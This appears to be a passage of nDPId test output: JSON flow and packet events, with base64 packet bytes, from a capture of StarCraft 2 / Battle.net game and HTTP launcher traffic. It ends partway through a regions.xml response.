+00420{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":539650,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoZsRAAIAGfITAqAFk1fh\/gg29BF8F03aP22fEM1AQfBLuIAAA"} +00684{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":589259,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"hCYVPnXEIImEa8W6CABFAADrZsVAAIAGe8DAqAFk1fh\/gg29BF8F03aP22fEM1AYfBJEqQAAQgjAAQAAABcAAABZS0dSOOGwo0VHUEMoFYKIR05MVe6rUoFHTkxT4FhQdEVNTkPiTrnRRU1OVV\/E50pPQ1RVO+LoFUNSQUOvqAw1VkVSQ8js5dFMVkxDiaUMM01FTVBfX4dDRVpTUF9fh0NSRVZPxpzqLkFSVkMekhsYQ1RGQwVnIFdEVEZDBuNB2kNGRUMcpww0REZFQybzendEUkJDAygNi05FVkPmM7EjRU1OQfYQRfZDU0RBogy8zUNBTQCYwVOh"} +00427{"flow_id":31,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":679623,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoalhAADIGxvDV+H+CwKgBZARfDb3bZ8QzBdN3UlAQHVBMIAAAAAAAAAAA"} +00513{"flow_id":31,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":710820,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"IImEa8W6hCYVPnXECABFAABsallAADIGxqvV+H+CwKgBZARfDb3bZ8QzBdN3UlAYHVD1UAAAQIAAA6nAAb68IAAAAfQGAE1hdHRlbwZCcmFjY2kHZR2cAgAAAAAAAAAAAgoxMjQwNjcyMjgjMQAAAAAAAAAAAAAAAAA="} +00424{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":717908,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"hCYVPnXEIImEa8W6CABFAAAqZsZAAIAGfIDAqAFk1fh\/gg29BF8F03dS22fEd1AYe86oUgAARQE="} +00453{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":733143,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"hCYVPnXEIImEa8W6CABFAAA\/ZsdAAIAGfGrAqAFk1fh\/gg29BF8F03dU22fEd1AYe84vwAAAR+0eDqB+Q6jkKGsdpNkL4gbT05i26+I="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":377,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1437389982769,"flow_last_seen":0,"flow_tot_l4_data_len":10,"flow_min_l4_data_len":10,"flow_max_l4_data_len":10,"flow_avg_l4_data_len":10,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"5.42.180.154","src_port":53146,"dst_port":1119,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00406{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":769377,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":44,"pkt_l4_len":10,"pkt":"hCYVPnXEIImEa8W6CABFAAAeGS0AAIARpdHAqAFkBSq0ms+aBF8ACqcOCQE="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":378,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1437389982769,"flow_last_seen":0,"flow_tot_l4_data_len":10,"flow_min_l4_data_len":10,"flow_max_l4_data_len":10,"flow_avg_l4_data_len":10,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"62.115.246.51","src_port":53146,"dst_port":1119,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00406{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":769429,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":44,"pkt_l4_len":10,"pkt":"hCYVPnXEIImEa8W6CABFAAAeFBMAAIARMAnAqAFkPnP2M8+aBF8ACiwrCQI="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":379,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1437389982782,"flow_last_seen":0,"flow_tot_l4_data_len":9,"flow_min_l4_data_len":9,"flow_max_l4_data_len":9,"flow_avg_l4_data_len":9,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"213.248.127.212","src_port":6113,"dst_port":1119,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00406{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":782998,"pkt_caplen":43,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":43,"pkt_l4_len":9,"pkt":"hCYVPnXEIImEa8W6CABFAAAdK4EAAIAR93XAqAFk1fh\/1BfhBF8ACcrCAQ=="} +00426{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":823721,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":10,"pkt":"IImEa8W6hCYVPnXECABFAAAeAABAADYRyP4FKrSawKgBZARfz5oACqYOCgEAAAAAAAAAAAAAAAAAAAAA"} +00427{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":825686,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":10,"pkt":"IImEa8W6hCYVPnXECABFAAAeAABAADcRTRw+c\/YzwKgBZARfz5oACisrCgIAAAAAAAAAAAAAAAAAAAAA"} +00429{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":833431,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":15,"pkt":"IImEa8W6hCYVPnXECABFAAAjAABAADMRL\/HV+H\/UwKgBZARfF+EAD6ZYAl05\/GkEgAAAAAAAAAAAAAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":429,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1437389982884,"flow_last_seen":0,"flow_tot_l4_data_len":9,"flow_min_l4_data_len":9,"flow_max_l4_data_len":9,"flow_avg_l4_data_len":9,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"213.248.127.166","src_port":6113,"dst_port":1119,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00406{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":884376,"pkt_caplen":43,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":43,"pkt_l4_len":9,"pkt":"hCYVPnXEIImEa8W6CABFAAAdDfMAAIARFTLAqAFk1fh\/phfhBF8ACcjwAw=="} +00428{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":933512,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":15,"pkt":"IImEa8W6hCYVPnXECABFAAAjAABAADMRMB\/V+H+mwKgBZARfF+EAD6SGBF05\/GkEgAAAAAAAAAAAAAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":491,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1437389983663,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3521,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":663994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0EZpAAIAGHBTAqAFkUO+6Gg3BAFD6MpY\/AAAAAIACIADjdgAAAgQFtAEDAwgBAQQC"} +00426{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":723450,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGerZQ77oawKgBZABQDcFck85k+jKWQGASOQjIewAAAgQFtAAA"} +00419{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":723508,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEZtAAIAGHB\/AqAFkUO+6Gg3BAFD6MpZAXJPOZVAQ+vAeUAAA"} +00609{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":723568,"pkt_caplen":193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":193,"pkt_l4_len":159,"pkt":"hCYVPnXEIImEa8W6CABFAACzEZxAAIAGG5PAqAFkUO+6Gg3BAFD6MpZAXJPOZVAY+vBVyQAAR0VUIC9TMi9lbkdCL2NsaWVudC9yZWdpb25zP2J1aWxkPWVuR0ImdGFyZ2V0UmVnaW9uPUVVIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBCYXR0bGUubmV0IFdlYiBDbGllbnQNCkhvc3Q6IG55ZHVzLmJhdHRsZS5uZXQNCkFjY2VwdDogKi8qDQoNCg=="} +00708{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":511,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":4,"flow_first_seen":1437389983663,"flow_last_seen":1437389983723,"flow_tot_l4_data_len":235,"flow_min_l4_data_len":20,"flow_max_l4_data_len":159,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3521,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"nydus.battle.net","url":"nydus.battle.net\/S2\/enGB\/client\/regions?build=enGB&targetRegion=EU","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00427{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":783248,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoioNAADMG8DZQ77oawKgBZABQDcFck85l+jKWy1AQPLjb\/QAAAAAAAAAA"} +01109{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":783412,"pkt_caplen":569,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":569,"pkt_l4_len":535,"pkt":"IImEa8W6hCYVPnXECABFAAIrioRAADMG7jJQ77oawKgBZABQDcFck85l+jKWy1AYPLiCrgAASFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQzIEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KTG9jYXRpb246IGh0dHA6Ly9ldS5sYXVuY2hlci5iYXR0bGUubmV0L3NlcnZpY2UvczIvcmVnaW9uc3htbC9yZWdpb25zLnhtbA0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUxlbmd0aDogMjQ3DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xDQoNCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vSUVURi8vRFREIEhUTUwgMi4wLy9FTiI+CjxodG1sPjxoZWFkPgo8dGl0bGU+MzAyIEZvdW5kPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE+Rm91bmQ8L2gxPgo8cD5UaGUgZG9jdW1lbnQgaGFzIG1vdmVkIDxhIGhyZWY9Imh0dHA6Ly9ldS5sYXVuY2hlci5iYXR0bGUubmV0L3NlcnZpY2UvczIvcmVnaW9uc3htbC9yZWdpb25zLnhtbCI+aGVyZTwvYT4uPC9wPgo8L2JvZHk+PC9odG1sPgo="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":517,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1437389983788,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.21","src_port":3522,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":788102,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0RFRAAIAG6V7AqAFkUO+6FQ3CAFAtDsyVAAAAAIACIAB6SQAAAgQFtAEDAwgBAQQC"} +00418{"flow_id":38,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":803460,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEZ5AAIAGHBzAqAFkUO+6Gg3BAFD6MpbLXJPQaFAQ+O0dxQAA"} +00426{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":528,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":846428,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGertQ77oVwKgBZABQDcLXOt3ELQ7MlmASOQjVRgAAAgQFtAAA"} +00418{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":846485,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoRFZAAIAG6WjAqAFkUO+6FQ3CAFAtDsyW1zrdxVAQ+vArGwAA"} +00706{"flow_id":39,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":846567,"pkt_caplen":267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":267,"pkt_l4_len":233,"pkt":"hCYVPnXEIImEa8W6CABFAAD9RFdAAIAG6JLAqAFkUO+6FQ3CAFAtDsyW1zrdxVAY+vCB8gAAR0VUIC9zZXJ2aWNlL3MyL3JlZ2lvbnN4bWwvcmVnaW9ucy54bWwgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogZXUubGF1bmNoZXIuYmF0dGxlLm5ldA0KQWNjZXB0OiAqLyoNClJlZmVyZXI6IGh0dHA6Ly9ueWR1cy5iYXR0bGUubmV0L1MyL2VuR0IvY2xpZW50L3JlZ2lvbnM\/YnVpbGQ9ZW5HQiZ0YXJnZXRSZWdpb249RVUNCg0K"} +00704{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":530,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":4,"flow_first_seen":1437389983788,"flow_last_seen":1437389983846,"flow_tot_l4_data_len":309,"flow_min_l4_data_len":20,"flow_max_l4_data_len":233,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.21","src_port":3522,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"eu.launcher.battle.net","url":"eu.launcher.battle.net\/service\/s2\/regionsxml\/regions.xml","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":39,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":904712,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoAVhAADMGeWdQ77oVwKgBZABQDcLXOt3FLQ7Na1AQPLjofgAAAAAAAAAA"} +02372{"flow_id":39,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":905356,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcAVlAADMGc7JQ77oVwKgBZABQDcLXOt3FLQ7Na1AQPLir1wAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQzIEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KTGFzdC1Nb2RpZmllZDogVGh1LCAwNiBGZWIgMjAxNCAyMzo0NzowNSBHTVQNCkVUYWc6ICJlMDU2LTljYS00ZjFjNTdkOWFmMDQwIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNvbnRlbnQtTGVuZ3RoOiAyNTA2DQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veG1sDQoNCjwhLS0gVGhpcyBmaWxlIHNwZWNpZmllcyB3aGF0IHJlZ2lvbnMgdGhlIFN0YXJjcmFmdCAyIGNsaWVudCBjYW4gY29ubmVjdCB0by4gRWFjaCBub2RlIGhhcyB0aGUgcG9zc2liaWxpdHkgb2YgNCBhdHRyaWJ1dGVzOgogICAgICAgICogZGlzcGxheW5hbWUgLSBUaGlzIHNwZWNpZmllcyB0aGUgc3RyaW5nIHRoYXQgd2lsbCBiZSBkaXNwbGF5ZWQgaW4gdGhlIGNsaWVudC4gSXQgaXMgaW50ZW5kZWQKICAgICAgICAgICAgICAgIHRvIGJlIGEgTDEwTiBzdHJpbmcgaWRlbnRpZmllciAoaWYgdGhlcmUgaXMgbm8gY29ycmVzcG9uZGluZyBMMTBOIHN0cmluZyB0aGVuIHRoZSByYXcgc3RyaW5nCiAgICAgICAgICAgICAgICBpdHNlbGYgd2lsbCBiZSBkaXNwbGF5ZWQpCiAgICAgICAgKiBob3N0bmFtZSAtIHRoZSByZWdpb24vaG9zdCB0byBjb25uZWN0IHRvLiBUaGlzIHdpbGwgYmUgZ2l2ZW4gdG8gZGFyayBwb3J0YWwgYW5kIGlzIHR5cGljYWxseQogICAgICAgICAgICAgICAgdGhlIHN0cmluZyBwcmVwZW5kZWQgdG8gImxvZ29uLmJhdHRsZS5uZXQiLiBJbiBkZWJ1ZyBidWlsZHMsIHRoaXMgY2FuIGJlIGEgZnVsbHkgcXVhbGlmaWVkCiAgICAgICAgICAgICAgICBhZGRyZXNzIG9yIGlwLgogICAgICAgICogYWxsb3dlZFByb2R1Y3RMb2NhbGVzIC0gYSBjb21tYSBkZWxpbWl0ZWQgbGlzdCBvZiBwcm9kdWN0IGxvY2FsZXMgZm9yIHdoaWNoIHRoZSByZWdpb24gaXMgYQogICAgICAgICAgICAgICAgdmFsaWQgb3B0aW9uLiBPbmx5IGNsaWVudHMgd2l0aCBvbmUgb2YgdGhlIGxpc3RlZCBwcm9kdWN0IGxvY2FsZXMgd2lsbCBiZSBhYmxlIHRvIGNvbm5lY3QgdG8KICAgICAgICAgICAgICAgIHRoZSBzcGVjaWZpZWQgcmVnaW9uLiBJZiAnYWxsJyBpcyBzcGVjaWZpZWQgdGhlbiB0aGUgcmVnaW9uIGlzIHZhbGlkIGZvciBhbGwgbG9jYWxlcwogICAgICAgICogbG9jYWxlc1RoYXREZWZhdWx0VG9UaGlzUmVnaW9uIC0gYSBjb21tYSBkZWxpbWl0ZWQgbGlzdCBvZiBwcm9kdWN0IGxvY2FsZXMgZm9yIHdoaWNoIHRoZSByZWdpb24KICAgICAgICAgICAgICAgIGlzIHRoZSBkZWZhdWx0LiBBIHByb2R1Y3QgbG9jYWxlIHNob3VsZCBub3QgYXBwZWFyIGluIHRoaXMgbGlzdCBpbiBtb3JlIHRoYW4gMSByZWdpb24uCiAgICAgICAgKiBpc0JldGFSZWdpb24gLSBpZiBzZXQgdG8gJ3RydWUnLCA="} +02188{"flow_id":39,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":905489,"pkt_caplen":1377,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1377,"pkt_l4_len":1343,"pkt":"IImEa8W6hCYVPnXECABFAAVTAVpAADMGdDpQ77oVwKgBZABQDcLXOuN5LQ7Na1AYPLhsowAAd2lsbCBiZSBkaXNwbGF5ZWQgaW4gdGhlIHJlZ2lvbnMgbGlzdCBmb3IgYmV0YSBidWlsZHMgYW5kCiAgICAgICAgICAgICAgICBoaWRkZW4gaW4gbm9uLWJldGEgYnVpbGRzLiAgSWYgYW55IG90aGVyIHZhbHVlLCBvciB1bnNwZWNpZmllZCwgd2lsbCBleGNsdWRlIGl0IGZyb20gYmV0YSBidWlsZHMuCgogICAgICAgIE5PVEU6IElmIGxlc3MgdGhhbiAyIHJlZ2lvbnMgYXJlIHNwZWNpZmllZCBmb3IgYSBwYXJ0aWN1bGFyIHByb2R1Y3QgbG9jYWxlIHRoZW4gdGhlIHJlZ2lvbiBzZWxlY3RvciB3aWxsIG5vdCBhcHBlYXIKCi0tPgo8cmVnaW9ucz4KICAgICAgICA8cmVnaW9uIGRpc3BsYXluYW1lPSJBVVRIRU5USUNBVElPTl9VU19SRUdJT04iIGhvc3RuYW1lPSJ1cyIgYWxsb3dlZFByb2R1Y3RMb2NhbGVzPSJlblVTLGVzTVgscHRCUixlbkdCLGZyRlIsZGVERSxlc0VTLHJ1UlUscGxQTCxpdElULGtvS1IsemhUVyxlblNHIiBsb2NhbGVzVGhhdERlZmF1bHRUb1RoaXNSZWdpb249ImVuVVMsZXNNWCxwdEJSIi8+CiAgICAgICAgPHJlZ2lvbiBkaXNwbGF5bmFtZT0iQVVUSEVOVElDQVRJT05fRVVfUkVHSU9OIiBob3N0bmFtZT0iZXUiIGFsbG93ZWRQcm9kdWN0TG9jYWxlcz0iZW5VUyxlc01YLHB0QlIsZW5HQixmckZSLGRlREUsZXNFUyxydVJVLHBsUEwsaXRJVCxrb0tSLHpoVFcsZW5TRyIgbG9jYWxlc1RoYXREZWZhdWx0VG9UaGlzUmVnaW9uPSJlbkdCLGZyRlIsZGVERSxlc0VTLHJ1UlUscGxQTCxpdElUIi8+CiAgICAgICAgPHJlZ2lvbiBkaXNwbGF5bmFtZT0iQVVUSEVOVElDQVRJT05fS1JfUkVHSU9OIiBob3N0bmFtZT0ia3IiIGFsbG93ZWRQcm9kdWN0TG9jYWxlcz0iZW5VUyxlc01YLHB0QlIsZW5HQixmckZSLGRlREUsZXNFUyxydVJVLHBsUEwsaXRJVCxrb0tSLHpoVFcsZW5TRyIgbG9jYWxlc1RoYXREZWZhdWx0VG9UaGlzUmVnaW9uPSJrb0tSLHpoVFciLz4KICAgICAgICA8cmVnaW9uIGRpc3BsYXluYW1lPSJBVVRIRU5USUNBVElPTl9TR19SRUdJT04iIGhvc3RuYW1lPSJzZyIgYWxsb3dlZFByb2R1Y3RMb2NhbGVzPSJlblVTLGVzTVgscHRCUixlbkdCLGZyRlIsZGVERSxlc0VTLHJ1UlUscGxQTCxpdElULGtvS1IsemhUVyxlblNHIiBsb2NhbGVzVGhhdERlZmF1bHRUb1RoaXNSZWdpb249ImVuU0ciLz4KICAgICAgICA8cmVnaW9uIGRpc3BsYXluYW1lPSJBVVRIRU5USUNBVElPTl9CRVRBX1JFR0lPTiIgaG9zdG5hbWU9InMyLWJldGEiIGlzQmV0YVJlZ2lvbj0idHJ1ZSIgYWxsb3